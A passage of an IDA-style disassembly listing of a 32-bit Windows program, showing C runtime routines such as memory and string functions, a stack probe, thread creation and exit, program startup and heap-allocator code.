		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_448D5B
; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_448DCB	proc near		; CODE XREF: sub_4429D2+Fp
					; sub_442A22+Fp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		test	edx, edx
		jz	short loc_448E19
		mov	ecx, [esp+arg_0]
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_448E12
		neg	ecx
		and	ecx, 3
		jz	short loc_448DF4
		sub	edx, ecx


loc_448DEE:				; CODE XREF: sub_448DCB+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_448DEE


loc_448DF4:				; CODE XREF: sub_448DCB+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_448E12
		rep stosd
		test	edx, edx
		jz	short loc_448E18


loc_448E12:				; CODE XREF: sub_448DCB+18j
					; sub_448DCB+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_448E12


loc_448E18:				; CODE XREF: sub_448DCB+45j
		pop	edi


loc_448E19:				; CODE XREF: sub_448DCB+6j
		mov	eax, [esp+arg_0]
		retn
sub_448DCB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_448E2B	proc near		; CODE XREF: sub_442EC0+2Cp
					; sub_442F45+57p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_8]
		mov	ebx, [esp+4+arg_0]
		mov	edx, [esp+4+arg_4]
		jmp	short loc_448E41
; ---------------------------------------------------------------------------


loc_448E3A:				; CODE XREF: sub_448E2B+18j
		mov	al, [edx]
		mov	[ebx], al
		inc	ebx
		inc	edx
		dec	ecx


loc_448E41:				; CODE XREF: sub_448E2B+Dj
		test	ecx, ecx
		jnz	short loc_448E3A
		mov	eax, [esp+4+arg_0]
		pop	ebx
		retn
sub_448E2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_448E4B	proc near		; CODE XREF: sub_443673+2Ep
					; sub_44397C+11p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	edx, ecx
		jmp	short loc_448E54
; ---------------------------------------------------------------------------


loc_448E53:				; CODE XREF: sub_448E4B+Cj
		inc	edx


loc_448E54:				; CODE XREF: sub_448E4B+6j
		cmp	byte ptr [edx],	0
		jnz	short loc_448E53
		mov	eax, edx
		sub	eax, ecx
		retn
sub_448E4B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_448E6B	proc near		; CODE XREF: sub_443701+3Fp
					; sub_443A14+2D6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	edi
		mov	ecx, [esp+8+arg_0]
		mov	ebx, [esp+8+arg_4]
		mov	edi, ecx


loc_448E77:				; CODE XREF: sub_448E6B+18j
		mov	eax, edi
		inc	edi
		mov	edx, ebx
		inc	ebx
		mov	dl, [edx]
		mov	[eax], dl
		test	dl, dl
		jnz	short loc_448E77
		mov	eax, ecx
		pop	edi
		pop	ebx
		retn
sub_448E6B	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_448E8B	proc near		; CODE XREF: sub_443701+53p
					; sub_443701+66p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ecx, [esp+4+arg_0]
		mov	ebx, [esp+4+arg_4]
		mov	edx, ecx
		jmp	short loc_448E99
; ---------------------------------------------------------------------------


loc_448E98:				; CODE XREF: sub_448E8B+11j
		inc	edx


loc_448E99:				; CODE XREF: sub_448E8B+Bj
		cmp	byte ptr [edx],	0
		jnz	short loc_448E98
		jmp	short loc_448EA2
; ---------------------------------------------------------------------------


loc_448EA0:				; CODE XREF: sub_448E8B+1Dj
		inc	edx
		inc	ebx


loc_448EA2:				; CODE XREF: sub_448E8B+13j
		mov	al, [ebx]
		mov	[edx], al
		test	al, al
		jnz	short loc_448EA0
		mov	eax, ecx
		pop	ebx
		retn
sub_448E8B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_448EBB	proc near		; CODE XREF: sub_443A14+268p
					; sub_443A14+297p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_448EEB
		mov	eax, ebx
		jmp	short loc_448F04
; ---------------------------------------------------------------------------


loc_448ECF:				; CODE XREF: sub_448EBB+45j
		mov	edi, ebx
		mov	esi, [esp+0Ch+arg_4]


loc_448ED5:				; CODE XREF: sub_448EBB+2Dj
		inc	esi
		mov	eax, esi
		cmp	byte ptr [eax],	0
		jnz	short loc_448EE1
		mov	eax, ebx
		jmp	short loc_448F04
; ---------------------------------------------------------------------------


loc_448EE1:				; CODE XREF: sub_448EBB+20j
		inc	edi
		mov	eax, edi
		mov	dl, [esi]
		cmp	[eax], dl
		jz	short loc_448ED5
		inc	ebx


loc_448EEB:				; CODE XREF: sub_448EBB+Ej
		mov	eax, [esp+0Ch+arg_4]
		movzx	eax, byte ptr [eax]
		push	eax
		push	ebx
		call	sub_44A67B
		add	esp, 8
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_448ECF
		xor	eax, eax


loc_448F04:				; CODE XREF: sub_448EBB+12j
					; sub_448EBB+24j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_448EBB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
; ---------------------------------------------------------------------------
		pop	ecx
		pop	eax
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_448F2B
		mov	eax, esp
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================



sub_448F2B	proc near		; CODE XREF: sub_443D01+8p
					; sub_443F6D+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_448F4B


loc_448F37:				; CODE XREF: sub_448F2B+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_448F37


loc_448F4B:				; CODE XREF: sub_448F2B+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_448F2B	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448F5B	proc near		; CODE XREF: sub_444CA3+D8p
					; sub_4475EE+CBp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_C]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mul	[ebp+arg_8]
		mov	esi, eax
		test	eax, eax
		jz	loc_44905F
		cmp	[ebp+arg_4], 0
		jnz	loc_449035
		mov	eax, [ebp+arg_8]
		jmp	loc_44905F
; ---------------------------------------------------------------------------


loc_448F8F:				; CODE XREF: sub_448F5B+DCj
		mov	eax, [ebx+18h]
		cmp	eax, [ebx+10h]
		ja	short loc_448FA6
		push	ebx
		call	sub_44A69B
		pop	ecx
		test	eax, eax
		jl	loc_44903D


loc_448FA6:				; CODE XREF: sub_448F5B+3Aj
		test	word ptr [ebx],	400h
		jz	short loc_448FC1
		push	esi
		push	0Ah
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_44A79B
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		jmp	short loc_448FC8
; ---------------------------------------------------------------------------


loc_448FC1:				; CODE XREF: sub_448F5B+50j
		mov	[ebp+var_10], 0


loc_448FC8:				; CODE XREF: sub_448F5B+64j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_448FE0
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		sub	eax, edx
		inc	eax
		mov	[ebp+var_14], eax
		jmp	short loc_448FE3
; ---------------------------------------------------------------------------


loc_448FE0:				; CODE XREF: sub_448F5B+75j
		mov	[ebp+var_14], esi


loc_448FE3:				; CODE XREF: sub_448F5B+83j
		mov	edi, [ebp+var_14]
		mov	eax, [ebx+18h]
		mov	edx, [ebx+10h]
		sub	eax, edx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], edi
		jnb	short loc_449000
		mov	[ebp+var_8], 0
		mov	edi, [ebp+var_C]


loc_449000:				; CODE XREF: sub_448F5B+99j
		push	edi
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		add	eax, edi
		mov	[ebp+var_4], eax
		sub	esi, edi
		lea	eax, [ebx+10h]
		mov	edx, [eax]
		add	edx, edi
		mov	[eax], edx
		cmp	[ebp+var_8], 0
		jz	short loc_449035
		push	ebx
		call	sub_44A49B
		pop	ecx
		test	eax, eax
		jnz	short loc_44903D


loc_449035:				; CODE XREF: sub_448F5B+26j
					; sub_448F5B+CDj
		test	esi, esi
		jnz	loc_448F8F


loc_44903D:				; CODE XREF: sub_448F5B+45j
					; sub_448F5B+D8j
		test	word ptr [ebx],	800h
		jz	short loc_44904B
		push	ebx
		call	sub_44A49B
		pop	ecx


loc_44904B:				; CODE XREF: sub_448F5B+E7j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mul	[ebp+arg_8]
		sub	eax, esi
		mov	edx, [ebp+var_8]
		mov	ecx, edx
		xor	edx, edx
		div	ecx


loc_44905F:				; CODE XREF: sub_448F5B+1Cj
					; sub_448F5B+2Fj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_448F5B	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	7Ch, 27h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8BC
		push	offset sub_408748
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	ebx, [ebp+8]
		push	ebx
		mov	eax, dword_411774
		push	eax
		call	dword_411D9C	; TlsSetValue
		test	eax, eax
		jnz	short loc_4490AD
		push	1
		call	sub_44A98B
		pop	ecx


loc_4490AD:				; CODE XREF: DMN1:004490A3j
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebx+44h]
		push	eax
		call	dword ptr [ebx+40h]
		pop	ecx
		call	sub_44919B
		jmp	short loc_4490EB
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-1Ch], eax
		mov	eax, [ebp-14h]
		push	eax
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_44A99B
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_44A98B
		pop	ecx


loc_4490EB:				; CODE XREF: DMN1:004490C1j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44910B	proc near		; CODE XREF: DMN1:00445410p
					; DMN1:0044548Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	48h
		call	sub_44999B
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44917A
		push	ebx
		call	sub_44A85B
		pop	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebx+40h], eax
		mov	eax, [ebp+arg_8]
		mov	[ebx+44h], eax
		push	ebx
		push	4
		push	ebx
		push	offset sub_407C00
		mov	eax, [ebp+arg_4]
		push	eax
		push	0
		call	dword_411DA0	; CreateThread
		mov	edi, eax
		mov	[ebx+4], eax
		test	eax, eax
		jnz	short loc_44915C
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	esi, eax
		jmp	short loc_44917A
; ---------------------------------------------------------------------------


loc_44915C:				; CODE XREF: sub_44910B+45j
		mov	eax, edi
		push	eax
		call	dword_411DA4	; ResumeThread
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_449176
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	esi, eax
		jmp	short loc_44917A
; ---------------------------------------------------------------------------


loc_449176:				; CODE XREF: sub_44910B+5Fj
		mov	eax, edi
		jmp	short loc_44918F
; ---------------------------------------------------------------------------


loc_44917A:				; CODE XREF: sub_44910B+14j
					; sub_44910B+4Fj ...
		push	ebx
		call	sub_4488EB
		pop	ecx
		test	esi, esi
		jz	short loc_44918C
		push	esi
		call	sub_449A3B
		pop	ecx


loc_44918C:				; CODE XREF: sub_44910B+78j
		or	eax, 0FFFFFFFFh


loc_44918F:				; CODE XREF: sub_44910B+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44910B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44919B	proc near		; CODE XREF: DMN1:00444FDCp
					; DMN1:00445449p ...
		push	ebx
		call	sub_44A88B
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_4491AF
		push	1
		call	sub_44A98B
		pop	ecx


loc_4491AF:				; CODE XREF: sub_44919B+Aj
		cmp	dword ptr [ebx+4], 0FFFFFFFFh
		jz	short loc_4491C2
		mov	eax, [ebx+4]
		push	eax
		call	dword_411CFC	; CloseHandle


loc_4491C2:				; CODE XREF: sub_44919B+1Bj
		push	ebx
		call	sub_44A8FB
		pop	ecx
		push	0
		call	dword_411DA8	; ExitThread
		pop	ebx
		retn
sub_44919B	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4491DB	proc near		; CODE XREF: sub_44706B+DAp
					; sub_44706B+F1p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00449261 SIZE 0000001B BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8C8
		push	offset sub_408748
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	2
		call	sub_449F3B
		pop	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_449227
; ---------------------------------------------------------------------------


loc_449212:				; CODE XREF: sub_4491DB+53j
		mov	eax, dword_4111A4
		lea	edx, [eax+1]
		mov	dword_4111A4, edx
		call	dword_411064[eax*4]


loc_449227:				; CODE XREF: sub_4491DB+35j
		cmp	dword_4111A4, 50h
		jb	short loc_449212
		jmp	short loc_449244
; ---------------------------------------------------------------------------


loc_449232:				; CODE XREF: sub_4491DB+70j
		mov	eax, dword_4111A8
		dec	eax
		mov	dword_4111A8, eax
		call	dword_411064[eax*4]


loc_449244:				; CODE XREF: sub_4491DB+55j
		cmp	dword_4111A8, 0
		jnz	short loc_449232
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_449258
		jmp	short loc_449261
sub_4491DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_449258	proc near		; CODE XREF: sub_4491DB+76p
		push	2
		call	sub_449FBB
		pop	ecx
		retn
sub_449258	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4491DB


loc_449261:				; CODE XREF: sub_4491DB+7Bj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44A98B
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4491DB
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================



sub_44928B	proc near		; CODE XREF: DMN1:00447E2Ap
					; DMN1:00447E59p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_44AA0B
		pop	ecx
		retn
sub_44928B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8D4
		push	offset sub_408748
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	2000000h
		call	sub_44C62B
		pop	ecx
		mov	dword_4117E0, eax
		call	sub_449DAB
		test	eax, eax
		jnz	short loc_4492E2
		push	1
		call	sub_44A98B
		pop	ecx


loc_4492E2:				; CODE XREF: DMN1:004492D8j
		call	sub_44A7CB
		test	eax, eax
		jnz	short loc_4492F3
		push	1
		call	sub_44A98B
		pop	ecx


loc_4492F3:				; CODE XREF: DMN1:004492E9j
		mov	dword ptr [ebp-4], 0
		call	sub_44AA3B
		call	sub_44AA9B
		call	sub_44AF0B
		call	sub_44AFAB
		mov	esi, offset dword_4101D4
		jmp	short loc_44931A
; ---------------------------------------------------------------------------


loc_449315:				; CODE XREF: DMN1:00449320j
		call	dword ptr [esi]
		add	esi, 4


loc_44931A:				; CODE XREF: DMN1:00449313j
		cmp	esi, offset dword_4101D4
		jb	short loc_449315
		mov	dword ptr [ebp-30h], 0
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_411DAC	; GetStartupInfoA
		push	0
		call	dword_411D70	; GetModuleHandleA
		mov	[ebp-60h], eax
		call	sub_44B06B
		test	byte ptr [ebp-30h], 1
		jz	short loc_44934F
		movzx	esi, word ptr [ebp-2Ch]
		jmp	short loc_449354
; ---------------------------------------------------------------------------


loc_44934F:				; CODE XREF: DMN1:00449347j
		mov	esi, 0Ah


loc_449354:				; CODE XREF: DMN1:0044934Dj
		push	esi
		push	eax
		push	0
		mov	eax, [ebp-60h]
		push	eax
		call	sub_448484
		mov	ebx, eax
		mov	edi, offset dword_4101D4
		jmp	short loc_44936F
; ---------------------------------------------------------------------------


loc_44936A:				; CODE XREF: DMN1:00449375j
		call	dword ptr [edi]
		add	edi, 4


loc_44936F:				; CODE XREF: DMN1:00449368j
		cmp	edi, offset dword_4101D4
		jb	short loc_44936A
		push	ebx
		call	sub_4491DB
		pop	ecx
		jmp	short loc_4493A8
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-1Ch], eax
		mov	eax, [ebp-14h]
		push	eax
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_44A99B
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_44A98B
		pop	ecx


loc_4493A8:				; CODE XREF: DMN1:0044937Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4493CB	proc near		; CODE XREF: sub_44965B+ECp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		add	eax, 3
		shr	eax, 0Eh
		shl	eax, 0Eh
		lea	esi, [eax+4000h]
		mov	edi, esi
		shl	edi, 2
		push	edi
		call	sub_44B0AB
		pop	ecx
		mov	[ebp+var_8], eax
		test	eax, eax
		jnz	short loc_44940A
		mov	dword_4117E4, 0
		xor	eax, eax
		jmp	loc_449648
; ---------------------------------------------------------------------------


loc_44940A:				; CODE XREF: sub_4493CB+2Cj
		mov	eax, dword_4127F0
		mov	edx, dword_4127EC
		add	eax, edx
		cmp	eax, [ebp+var_8]
		jnz	short loc_449430
		mov	ebx, dword_4127EC
		mov	eax, dword_4127F0
		add	edi, eax
		mov	esi, edi
		shr	esi, 2
		jmp	short loc_44943D
; ---------------------------------------------------------------------------


loc_449430:				; CODE XREF: sub_4493CB+4Fj
		mov	eax, [ebp+var_8]
		mov	ebx, eax
		mov	edx, ebx
		sub	edx, eax
		mov	eax, edx
		sub	edi, eax


loc_44943D:				; CODE XREF: sub_4493CB+63j
		mov	eax, esi
		shl	eax, 2
		lea	edx, [ebx+eax]
		mov	dword_4127EC, edx
		mov	edx, edi
		sub	edx, eax
		mov	eax, edx
		mov	dword_4127F0, eax
		mov	eax, dword_4111D0
		add	eax, 4
		cmp	ebx, eax
		jnz	short loc_44946F
		cmp	dword_4111D8, 0
		jnz	loc_4495E1


loc_44946F:				; CODE XREF: sub_4493CB+95j
		mov	eax, dword_4111D8
		mov	[ebp+var_C], eax
		mov	dword_4111D8, ebx
		mov	eax, [ebp+var_C]
		mov	[ebx], eax
		add	ebx, 4
		dec	esi
		mov	dword_4111D0, ebx
		mov	eax, dword_4111D4
		test	eax, eax
		jz	short loc_449499
		cmp	eax, ebx
		jbe	short loc_44949F


loc_449499:				; CODE XREF: sub_4493CB+C8j
		mov	dword_4111D4, ebx


loc_44949F:				; CODE XREF: sub_4493CB+CCj
		mov	eax, esi
		or	eax, 80000000h
		mov	[ebx], eax
		mov	eax, dword_4111D0
		lea	eax, [eax+esi*4-4]
		mov	dword_4111D0, eax
		mov	edx, dword_4111D0
		mov	eax, esi
		or	eax, 80000000h
		mov	[edx], eax
		sub	esi, 2
		add	ebx, 4
		mov	eax, dword_4111D0
		lea	ebx, [eax-4]
		cmp	esi, dword_4111E8
		ja	short loc_44950D
		cmp	esi, dword_4111E0
		ja	short loc_4494F5
		mov	eax, dword_4111DC
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_449508
; ---------------------------------------------------------------------------


loc_4494F5:				; CODE XREF: sub_4493CB+116j
		mov	eax, dword_4111E4
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_449508:				; CODE XREF: sub_4493CB+128j
		mov	eax, [ebp+var_10]
		jmp	short loc_44953D
; ---------------------------------------------------------------------------


loc_44950D:				; CODE XREF: sub_4493CB+10Ej
		cmp	esi, dword_4111F0
		ja	short loc_44952A
		mov	eax, dword_4111EC
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_44953D
; ---------------------------------------------------------------------------


loc_44952A:				; CODE XREF: sub_4493CB+148j
		mov	eax, dword_4111F4
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_44953D:				; CODE XREF: sub_4493CB+140j
					; sub_4493CB+15Dj
		mov	eax, [ebp+var_10]
		mov	dword_411200, eax
		mov	eax, dword_411200
		mov	eax, dword_4111AC[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jnz	short loc_449583
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	eax, dword_411200
		mov	dword_4111AC[eax*4], ebx
		mov	eax, dword_411200
		cmp	dword_4111FC, eax
		jle	short loc_44958C
		mov	eax, dword_411200
		mov	dword_4111FC, eax
		jmp	short loc_44958C
; ---------------------------------------------------------------------------


loc_449583:				; CODE XREF: sub_4493CB+18Bj
		mov	eax, [ebp+var_18]
		mov	eax, [eax-8]
		mov	[ebp+var_14], eax


loc_44958C:				; CODE XREF: sub_4493CB+1AAj
					; sub_4493CB+1B6j
		mov	eax, [ebp+var_18]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_18]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_14]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_14]
		mov	[ebx-8], eax
		mov	eax, esi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], esi
		mov	[ebx], esi
		mov	eax, dword_411200
		mov	dword_4111AC[eax*4], ebx
		jmp	short loc_4495C6
; ---------------------------------------------------------------------------


loc_4495C0:				; CODE XREF: sub_4493CB+20Dj
		inc	dword_4111FC


loc_4495C6:				; CODE XREF: sub_4493CB+1F3j
		mov	eax, dword_4111FC
		cmp	dword_4111AC[eax*4], 0
		jnz	short loc_4495DA
		cmp	eax, 7
		jl	short loc_4495C0


loc_4495DA:				; CODE XREF: sub_4493CB+208j
		mov	eax, 1
		jmp	short loc_449648
; ---------------------------------------------------------------------------


loc_4495E1:				; CODE XREF: sub_4493CB+9Ej
		add	ebx, 0FFFFFFFCh
		mov	eax, [ebx]
		and	eax, 7FFFFFFFh
		add	eax, esi
		mov	[ebp+var_4], eax
		mov	eax, esi
		or	eax, 80000000h
		mov	[ebx], eax
		mov	eax, dword_4111D0
		lea	eax, [eax+esi*4]
		mov	dword_4111D0, eax
		mov	edx, dword_4111D0
		mov	eax, [ebx]
		mov	[edx-4], eax
		mov	edx, dword_4111D0
		mov	eax, [ebp+var_4]
		or	eax, 80000000h
		mov	[edx], eax
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111D0
		mov	ecx, eax
		shl	ecx, 2
		sub	edx, ecx
		or	eax, 80000000h
		mov	[edx+4], eax
		lea	eax, [ebx+4]
		push	eax
		call	sub_4488EB
		pop	ecx
		mov	eax, 1


loc_449648:				; CODE XREF: sub_4493CB+3Aj
					; sub_4493CB+214j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4493CB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44965B	proc near		; CODE XREF: sub_44999B+4Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	eax, [ebp+arg_0]
		add	eax, 3
		shr	eax, 2
		lea	esi, [eax+2]
		cmp	esi, 4
		jnb	short loc_44967C
		mov	esi, 4


loc_44967C:				; CODE XREF: sub_44965B+1Aj
		xor	edi, edi
		cmp	esi, dword_4111E8
		ja	short loc_4496B8
		cmp	esi, dword_4111E0
		ja	short loc_4496A0
		mov	eax, dword_4111DC
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_4496B3
; ---------------------------------------------------------------------------


loc_4496A0:				; CODE XREF: sub_44965B+31j
		mov	eax, dword_4111E4
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_4496B3:				; CODE XREF: sub_44965B+43j
		mov	eax, [ebp+var_10]
		jmp	short loc_4496E8
; ---------------------------------------------------------------------------


loc_4496B8:				; CODE XREF: sub_44965B+29j
		cmp	esi, dword_4111F0
		ja	short loc_4496D5
		mov	eax, dword_4111EC
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_4496E8
; ---------------------------------------------------------------------------


loc_4496D5:				; CODE XREF: sub_44965B+63j
		mov	eax, dword_4111F4
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_4496E8:				; CODE XREF: sub_44965B+5Bj
					; sub_44965B+78j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, dword_4111FC
		cmp	[ebp+var_C], eax
		jge	short loc_449738
		mov	eax, dword_4111FC
		mov	[ebp+var_C], eax
		jmp	short loc_449738
